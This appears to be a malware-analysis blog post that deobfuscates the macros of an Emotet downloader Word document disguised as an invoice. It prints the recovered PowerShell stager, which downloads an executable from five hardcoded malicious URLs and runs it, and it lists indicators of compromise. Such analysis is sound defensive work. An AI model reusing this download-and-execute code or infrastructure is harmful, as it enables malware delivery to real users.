Post 0x04: Analysis of an Emotet Downloader

I recently found a sample of an Emotet Downloader that I downloaded from VirusBay and I had yet to examine it, so I decided that this post would be an analysis of the Downloader. This file is still available on VirusBay, and I highly suggest creating an account there if you are interested in Malware Analysis or Reverse Engineering, it is free and there are plenty of samples uploaded of newly discovered malware every day!

Hash of Sample (MD5): 02244fbf2ba61afdf461f5e8cfdb19f4

Upon opening this Word Document you can see it is masquerading as an invoice – which obviously you cannot read until you activate macros, and even then you are sadly unable to read it. But that’s not what we are here for.

 

First things first, we need to see what macros are embedded in this document – but it is a bit difficult seeing as the macros are heavily obfuscated. All you need to know is that in this particular document, the subroutine AutoOpen() is the first thing to be executed, so you can briefly follow the execution flow through static analysis, but that would take a long time to understand it all. So I decided to begin by taking a Snapshot of the virtual machine, and then executing the macros with Process Hacker running.

Upon executing the Macros, I noticed CMD.exe being spawned, and then that CMD instance spawning a child process: powershell.exe. So now we know that this document utilizes powershell code to drop Emotet onto the disk – but how? Has it got an executable embedded in the document? Does it reach out to a C2 server?

I decided to check out the properties of powershell.exe and CMD.exe, to see if I could see what the parameters were for the process. Sure enough, I found the parameters for both CMD.exe and powershell.exe – which were also highly obfuscated.  I also noticed that powershell had a handle to an executable file in the C:\Users\Public directory – however the file was empty, which made me believe that powershell attempted to download a file from a site which was no longer available. I saw powershell making a connection to two websites: universalfwding.com and mov.movlim.com, both of which are down and both were registered in the United States. After the connections failed, the executable disappeared from the Public folder. Both Powershell and CMD exited after the connections failed. So that was the end of the dynamic analysis, now onto deobfuscating the macros.

As I mentioned previously, AutoOpen() will be executed first, so I started with that and began to follow the program flow, whilst deobfuscating as I went through different subroutines and functions. After AutoOpen, the first function/subroutine to be executed is named “GiJVjsbujK()”, which accepts a string as an argument. The string that is passed as an argument is its own function, specifically “NjjCiJMRizzmkS()“. GiJVjsbujK() creates a WScript Shell Object, and executes the function that was passed as an argument in order to get the parameters for this shell object. NjjCiJMRizzmkS() is responsible for forming the CMD command with obfuscated strings, meaning there must be some function that is deobfuscating these strings. Sure enough NjjCiJMRizzmkS() makes multiple calls to GKwYR(), passing an alphanumeric string, as well as two arguments consisting of integers. I decided I should start with the deobfuscation method and figure out what it is doing, so I could create pseudo code for it, and then my own deobfuscator in Python. This was the basic Python code I utilized to deobfuscate the strings in the script:

def Deobfuscate(String, Int1, Int2):
     Variable1 = String.replace("BSZHqT", "^")
     Variable2 = Variable1[Int1:Int2]
     return Variable2

The code above accepts three arguments – The original obfuscated string and two integers. The first integer corresponds to the starting point of the string, and the second integer is corresponds to the place of the last character in the string. This allows the obfuscated string to be any length, and the obfuscation routine is still able to extract the correct string. So in this routine, the first thing that occurs is any occurrence of “BSZHqT” in the string is replaced with “^”. Then the string between integer 1 and integer 2 is extracted. In the macro, this is saved as its own variable, until all of the required strings are in order. The function then rearranges the strings so that they are in order, and forms one large string which is returned to the calling function. Just a tad confusing.

In order to form the full command, NjjCiJMRizzmkS() executes two other functions, both using the same obfuscation routine that NjjCiJMRizzmkS() uses. Eventually, NjjCiJMRizzmkS() returns the CMD command that was visible in Process Hacker in the parameters box. You can view the CMD command here, as it is very long and is difficult to fit into this page. As you can see in the command, there are many mentions to “set”, meaning variables are being defined to use in strings. An easy way to find out what each variable is without getting rid of all the obfuscation techniques is to use Process Hacker. The “Environment” tab in the properties for CMD.exe tells us what each variable is set to, allowing us to easily reverse the text to make it understandable.

 

Whilst there is still a few variables that do nothing, when we remove and implement the values into the command, we can narrow it down to this:

C:\Windows\System32\cmd.exe" /V /c powershell COMMAND 

Where COMMAND is the long, encrypted string that we will work on decrypting next. When looking at the command, I noticed the ( $sheLlID[1]+$SheLLid[13]+’x’) part, and so I decided to start up a Powershell instance and run $shellid[1] and shellid[13]. I found out these resolve to ‘i’ and ‘e’, which, when you add together with ‘x’, form iex, also known as Invoke-Expression. This means that the long, encrypted string is only run when it is piped to IEX – which is after it is decrypted. I removed the IEX part at the end and ran it in the powershell interpreter, therefore outputting the decrypted command!

 

Sadly, it is also obfuscated – but not as bad as the previous scripts:

$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);$ADCX = 'http://daeihagh.ir/dC81lVu/@http://autoholicgarage.com/WMuK/@http://algaesalud.com/FCFh/@http://c-terranova.com/QuEY/@http://www.mediaconsul.com/uKvvpM/'.Split('@');$SDC = $env:public + '\' + $NSB + ('.ex'+'e');foreach($asfc in $ADCX){try{$YYU."Do`Wnl`OadFI`le"($asfc."ToStr`i`Ng"(), $SDC);&('Invo'+'k'+'e-Item')($SDC);break;}catch{}}

As you can see in this powershell command, there are several URLs, however lets clean this command up a bit so it is understandable:

$nsadasd = &('new-object') random;
$YYU = .('new-object') System.Net.WebClient;
$NSB = $nsadasd.next(10000, 282133);
$ADCX = 'http://daeihagh.ir/dC81lVu/@http://autoholicgarage.com/WMuK/@http://algaesalud.com/FCFh/@http://c-terranova.com/QuEY/@http://www.mediaconsul.com/uKvvpM/'.Split('@');
$SDC = $env:public + '\' + $NSB + ('.exe');
foreach($asfc in $ADCX) {
	try {
		$YYU."DownloadFile"($asfc."ToString"(), $SDC);
		&('Invoke-Item')($SDC);
		break;
	}
	catch{}
}

So as you can see from this script, it creates a System.Net.Webclient object and stores a random number between 10000 and 282133 in the variable NSB. A list of URLs are stored in the variable ADCX, strung together with an ‘@’ sign, which is then removed. Finally, the location of the Public directory is combined with the random number in NSB, and “.exe” is appended to that and the string is stored in SDC. The script then attempts to download a file from each of the URLs in ADCX. If it succeeds, it executes the file and exits, and if it fails it continues on to the next URL. As the URL’s are no longer online at the moment, I am unable to retrieve the Emotet executable.

I realised that I had not seen Powershell make connections to the URLs found in the script, so I decided to run the macros again – this time whilst running Wireshark, and sure enough I noticed connections to the URLs hardcoded into the script.

So, that was an analysis of an Emotet Downloader – hopefully you’ve learnt something, and if I have missed something obvious feel free to mention that in the comments. If you want to analyse the document yourself, it is available on VirusBay, as I mentioned at the beginning. Thanks!

IOCs
Sample 02244fbf2ba61afdf461f5e8cfdb19f4 – Word Document
209-99-40-222.fwd.datafoundry.com
mov.movlim.com
http://daeihagh.ir/dC81lVu/
http://autoholicgarage.com/WMuK/
http://algaesalud.com/FCFh/
http://c-terranova.com/QuEY/
http://www.mediaconsul.com/uKvvpM/

0 Replies to “Post 0x04: Analysis of an Emotet Downloader”

Leave a Reply

Your email address will not be published. Required fields are marked *